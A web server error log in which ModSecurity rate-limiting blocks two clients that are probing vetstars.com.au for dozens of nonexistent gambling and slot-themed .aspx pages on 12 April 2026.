[Sun Apr 12 02:17:15.138095 2026] [:error] [pid 36909:tid 36922] [client 79.137.67.84:52504] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adqQK0Gk5GhxTCzHUOomswAAAQs"]
[Sun Apr 12 02:17:17.528298 2026] [:error] [pid 44698:tid 44724] [client 79.137.67.84:52508] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adqQLRgoH9UWd-U3D555_QAAAJU"]
[Sun Apr 12 02:17:20.055392 2026] [:error] [pid 34152:tid 34158] [client 79.137.67.84:51264] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adqQMIFtE4RhFslT1DrLZAAAAAQ"]
[Sun Apr 12 02:17:22.449404 2026] [:error] [pid 34152:tid 34163] [client 79.137.67.84:51270] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adqQMoFtE4RhFslT1DrLZgAAAAk"]
[Sun Apr 12 02:17:24.861684 2026] [:error] [pid 36938:tid 36950] [client 79.137.67.84:51282] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adqQNISWpa_VL1JPU6zxHAAAAYo"]
[Sun Apr 12 02:17:27.237587 2026] [:error] [pid 36938:tid 36947] [client 79.137.67.84:51286] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adqQN4SWpa_VL1JPU6zxKgAAAYc"]
[Sun Apr 12 02:17:29.746629 2026] [:error] [pid 44698:tid 44718] [client 79.137.67.84:58282] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adqQORgoH9UWd-U3D556PwAAAI8"]
[Sun Apr 12 02:17:32.285924 2026] [:error] [pid 36938:tid 36961] [client 79.137.67.84:58296] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adqQPISWpa_VL1JPU6zxPQAAAZU"]
[Sun Apr 12 02:17:34.792524 2026] [:error] [pid 44700:tid 44746] [client 79.137.67.84:58312] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adqQPmryPgh_uW4QPCl04AAAAMI"]
[Sun Apr 12 02:17:37.148014 2026] [:error] [pid 36938:tid 36962] [client 79.137.67.84:58318] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adqQQYSWpa_VL1JPU6zxZQAAAZY"]
[Sun Apr 12 02:17:39.415870 2026] [:error] [pid 36909:tid 36927] [client 79.137.67.84:58328] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adqQQ0Gk5GhxTCzHUOom4gAAARA"]
[Sun Apr 12 02:17:41.771607 2026] [:error] [pid 34152:tid 34176] [client 79.137.67.84:47496] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adqQRYFtE4RhFslT1DrLcgAAABY"]
[Sun Apr 12 02:17:44.303041 2026] [:error] [pid 45064:tid 45102] [client 79.137.67.84:47508] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adqQSJcHBvLyJ6EUhUoOTQAAAUk"]
[Sun Apr 12 04:49:00.251737 2026] [:error] [pid 25437:tid 25445] [client 81.167.26.57:61085] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adqzvHf97wYZje1ep_NBvAAAAMY"]
[Sun Apr 12 04:49:03.190459 2026] [:error] [pid 60280:tid 60291] [client 81.167.26.57:49535] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adqzv3BlLnDOYuIykkjNMAAAAck"]
[Sun Apr 12 04:49:05.751972 2026] [:error] [pid 25329:tid 25399] [client 81.167.26.57:3935] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adqzwWdcIYsS8Iyaj10kTQAAAI0"]
[Sun Apr 12 04:49:11.601873 2026] [:error] [pid 25437:tid 25453] [client 81.167.26.57:56301] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adqzx3f97wYZje1ep_NB3gAAAM4"]
[Sun Apr 12 04:49:14.255106 2026] [:error] [pid 60280:tid 60290] [client 81.167.26.57:41927] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adqzynBlLnDOYuIykkjNRgAAAcg"]
[Sun Apr 12 04:49:16.920161 2026] [:error] [pid 25437:tid 25459] [client 81.167.26.57:22228] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adqzzHf97wYZje1ep_NB5wAAANQ"]
[Sun Apr 12 04:49:19.549747 2026] [:error] [pid 26600:tid 26633] [client 81.167.26.57:41900] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adqzz-1YwAZiXhQKLYpnvwAAAYQ"]
[Sun Apr 12 04:49:22.218937 2026] [:error] [pid 26599:tid 26617] [client 81.167.26.57:11914] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adqz0nG89LXoQbk_rwAq2QAAAU8"]
[Sun Apr 12 04:49:24.865736 2026] [:error] [pid 26600:tid 26629] [client 81.167.26.57:54053] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adqz1O1YwAZiXhQKLYpnyAAAAYA"]
[Sun Apr 12 04:49:27.366028 2026] [:error] [pid 26600:tid 26644] [client 81.167.26.57:51231] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adqz1-1YwAZiXhQKLYpn1QAAAY8"]
[Sun Apr 12 04:49:30.002897 2026] [:error] [pid 60280:tid 60295] [client 81.167.26.57:24566] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adqz2nBlLnDOYuIykkjNXgAAAc0"]
[Sun Apr 12 04:49:32.661540 2026] [:error] [pid 25437:tid 25462] [client 81.167.26.57:4956] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adqz3Hf97wYZje1ep_NB-wAAANc"]
[Sun Apr 12 04:49:35.156956 2026] [:error] [pid 25329:tid 25395] [client 81.167.26.57:37856] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adqz32dcIYsS8Iyaj10kZQAAAIs"]
[Sun Apr 12 04:49:37.669089 2026] [:error] [pid 26567:tid 26574] [client 81.167.26.57:26473] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adqz4XhRpg6ptWFyFx3qswAAAQU"]
[Sun Apr 12 04:49:40.337811 2026] [:error] [pid 25437:tid 25442] [client 81.167.26.57:43122] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adqz5Hf97wYZje1ep_NCFQAAAMM"]
[Sun Apr 12 04:49:42.841829 2026] [:error] [pid 25437:tid 25447] [client 81.167.26.57:36305] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adqz5nf97wYZje1ep_NCGAAAAMg"]
[Sun Apr 12 04:49:45.471153 2026] [:error] [pid 26599:tid 26605] [client 81.167.26.57:50691] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adqz6XG89LXoQbk_rwAq8gAAAUM"]
[Sun Apr 12 04:49:47.968243 2026] [:error] [pid 25437:tid 25440] [client 81.167.26.57:40692] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adqz63f97wYZje1ep_NCHgAAAME"]
[Sun Apr 12 04:49:50.580212 2026] [:error] [pid 25328:tid 25365] [client 81.167.26.57:51271] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adqz7sxUaQZxT-e0YsDEhwAAAEE"]
[Sun Apr 12 04:49:53.206304 2026] [:error] [pid 26600:tid 26644] [client 81.167.26.57:61250] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adqz8e1YwAZiXhQKLYpn9QAAAY8"]
[Sun Apr 12 04:50:40.974601 2026] [:error] [pid 26600:tid 26653] [client 81.167.26.57:54974] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adq0IO1YwAZiXhQKLYpoKQAAAZg"]
[Sun Apr 12 04:50:43.460171 2026] [:error] [pid 26567:tid 26571] [client 81.167.26.57:25334] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adq0I3hRpg6ptWFyFx3q6AAAAQI"]
[Sun Apr 12 04:50:46.176626 2026] [:error] [pid 25328:tid 25394] [client 81.167.26.57:3681] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adq0JsxUaQZxT-e0YsDFIgAAAFI"]
[Sun Apr 12 04:50:48.761155 2026] [:error] [pid 25328:tid 25408] [client 81.167.26.57:47021] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adq0KMxUaQZxT-e0YsDFKAAAAFg"]
[Sun Apr 12 04:50:51.347785 2026] [:error] [pid 26600:tid 26646] [client 81.167.26.57:9452] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adq0K-1YwAZiXhQKLYpoMgAAAZE"]
[Sun Apr 12 04:50:54.066890 2026] [:error] [pid 25328:tid 25394] [client 81.167.26.57:30410] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adq0LsxUaQZxT-e0YsDFMAAAAFI"]
[Sun Apr 12 04:50:56.649797 2026] [:error] [pid 26567:tid 26572] [client 81.167.26.57:45207] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adq0MHhRpg6ptWFyFx3q9gAAAQM"]
[Sun Apr 12 04:50:59.273182 2026] [:error] [pid 25437:tid 25461] [client 81.167.26.57:57840] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adq0M3f97wYZje1ep_NCpAAAANY"]
[Sun Apr 12 04:51:01.822850 2026] [:error] [pid 26600:tid 26644] [client 81.167.26.57:7435] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adq0Ne1YwAZiXhQKLYpoOgAAAY8"]
[Sun Apr 12 04:51:04.525469 2026] [:error] [pid 25437:tid 25462] [client 81.167.26.57:14344] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adq0OHf97wYZje1ep_NCsQAAANc"]
[Sun Apr 12 04:51:07.259015 2026] [:error] [pid 25328:tid 25375] [client 81.167.26.57:19756] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adq0O8xUaQZxT-e0YsDFTwAAAEk"]
[Sun Apr 12 04:51:09.979031 2026] [:error] [pid 60280:tid 60302] [client 81.167.26.57:1957] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adq0PXBlLnDOYuIykkjNswAAAdQ"]
[Sun Apr 12 04:51:12.678265 2026] [:error] [pid 25328:tid 25373] [client 81.167.26.57:28032] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adq0QMxUaQZxT-e0YsDFagAAAEg"]
[Sun Apr 12 04:51:15.398156 2026] [:error] [pid 60280:tid 60294] [client 81.167.26.57:45255] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adq0Q3BlLnDOYuIykkjNtwAAAcw"]
[Sun Apr 12 04:51:17.942531 2026] [:error] [pid 26599:tid 26618] [client 81.167.26.57:35928] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adq0RXG89LXoQbk_rwArXgAAAVA"]
[Sun Apr 12 04:51:20.628860 2026] [:error] [pid 26599:tid 26609] [client 81.167.26.57:62706] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adq0SHG89LXoQbk_rwArZAAAAUc"]
[Sun Apr 12 04:51:23.342867 2026] [:error] [pid 26600:tid 26634] [client 81.167.26.57:17042] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adq0S-1YwAZiXhQKLYpoSgAAAYU"]
[Sun Apr 12 04:51:25.912838 2026] [:error] [pid 25437:tid 25452] [client 81.167.26.57:14828] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adq0TXf97wYZje1ep_NC7QAAAM0"]
[Sun Apr 12 04:51:28.556248 2026] [:error] [pid 25437:tid 25446] [client 81.167.26.57:15274] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adq0UHf97wYZje1ep_NDBQAAAMc"]
[Sun Apr 12 04:51:31.223437 2026] [:error] [pid 26599:tid 26614] [client 81.167.26.57:10709] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adq0U3G89LXoQbk_rwArawAAAUw"]
[Sun Apr 12 04:51:33.779171 2026] [:error] [pid 25437:tid 25446] [client 81.167.26.57:43961] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adq0VXf97wYZje1ep_NDFQAAAMc"]
[Sun Apr 12 04:51:36.517670 2026] [:error] [pid 60280:tid 60285] [client 81.167.26.57:7879] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adq0WHBlLnDOYuIykkjNywAAAcM"]
